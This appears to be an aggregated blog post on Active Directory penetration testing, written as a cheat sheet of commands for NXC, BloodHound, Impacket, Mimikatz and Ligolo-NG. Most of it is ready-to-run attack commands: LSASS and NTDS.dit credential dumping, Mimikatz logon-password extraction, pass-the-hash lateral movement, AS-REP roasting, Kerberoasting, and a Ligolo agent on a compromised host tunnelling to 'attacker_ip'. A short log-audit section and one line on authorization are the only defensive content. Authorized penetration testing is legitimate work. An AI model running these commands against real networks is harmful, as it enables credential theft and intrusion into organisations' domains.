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Active Directory (AD) pentesting requires powerful tools to assess security vulnerabilities effectively. Among the top tools are NXC (formerly CrackMapExec), BloodHound, and Impacket. These tools help identify misconfigurations, extract AD metadata, and exploit weaknesses.
Key Command for AD Metadata Extraction
To extract AD metadata for BloodHound ingestion directly from Kali Linux, use the following NXC command:
nxc ldap [dc_ip] -u 'user.name' -p 'StrongPassword123!' --bloodhound --collection ALL --dns-server [dc_ip]
This command assumes you have network visibility, which can be achieved using tools like Ligolo (check the author’s previous posts).
You Should Know:
1. NXC (CrackMapExec) Essentials
NXC is a Swiss Army knife for AD exploitation. Key commands:
Enumerate SMB shares nxc smb [target_ip] -u 'user' -p 'password' --shares Check for AS-REP Roastable users nxc ldap [dc_ip] -u 'user' -p 'password' --asreproast Dump LSASS memory (requires elevated privileges) nxc smb [target] -u 'admin' -p 'pass' --lsa
2. BloodHound Data Collection
BloodHound ingests AD data to visualize attack paths. Use SharpHound or NXC for collection:
Run SharpHound on a Windows target .\SharpHound.exe -c All --zipfilename ad_data Alternative via NXC (as shown above) nxc ldap [dc_ip] -u 'user' -p 'pass' --bloodhound
3. Impacket for Lateral Movement
Impacket provides Python scripts for network attacks:
Pass-the-Hash with WMIexec python3 wmiexec.py -hashes 'LMHASH:NTHASH' domain/user@target_ip Dump NTDS.dit remotely python3 secretsdump.py domain/user:password@dc_ip
4. Ligolo-NG for Tunneling
If internal network access is needed:
Start Ligolo proxy server ./ligolo -selfcert -laddr 0.0.0.0:443 Connect agent (on compromised host) ./ligolo-agent -connect attacker_ip:443
What Undercode Say
AD pentesting requires mastery of tools like NXC, BloodHound, and Impacket. Always ensure proper authorization before testing. Below are additional commands for deeper analysis:
Linux & Windows Recon Commands
Linux: Check DNS entries dig @[dc_ip] domain.com AXFR Windows: List all domain admins net group "Domain Admins" /domain Extract Kerberos tickets python3 GetUserSPNs.py domain/user:password -dc-ip [dc_ip] -request
Post-Exploitation
Linux: Privilege escalation check linpeas.sh Windows: Mimikatz for credential dumping mimikatz.exe "sekurlsa::logonpasswords"
Defensive Checks
Audit Windows logs for suspicious logins
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4624,4625}
Linux: Check SSH auth logs
grep "Failed password" /var/log/auth.log
For more pentesting insights, visit the author’s blog: https://lnkd.in/gFsWsTmX.
Expected Output:
- AD metadata extracted via NXC.
- BloodHound JSON files for analysis.
- Impacket-derived credentials for lateral movement.
- Ligolo tunnels for internal network access.
References:
Reported By: Activity 7313206827645562881 – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
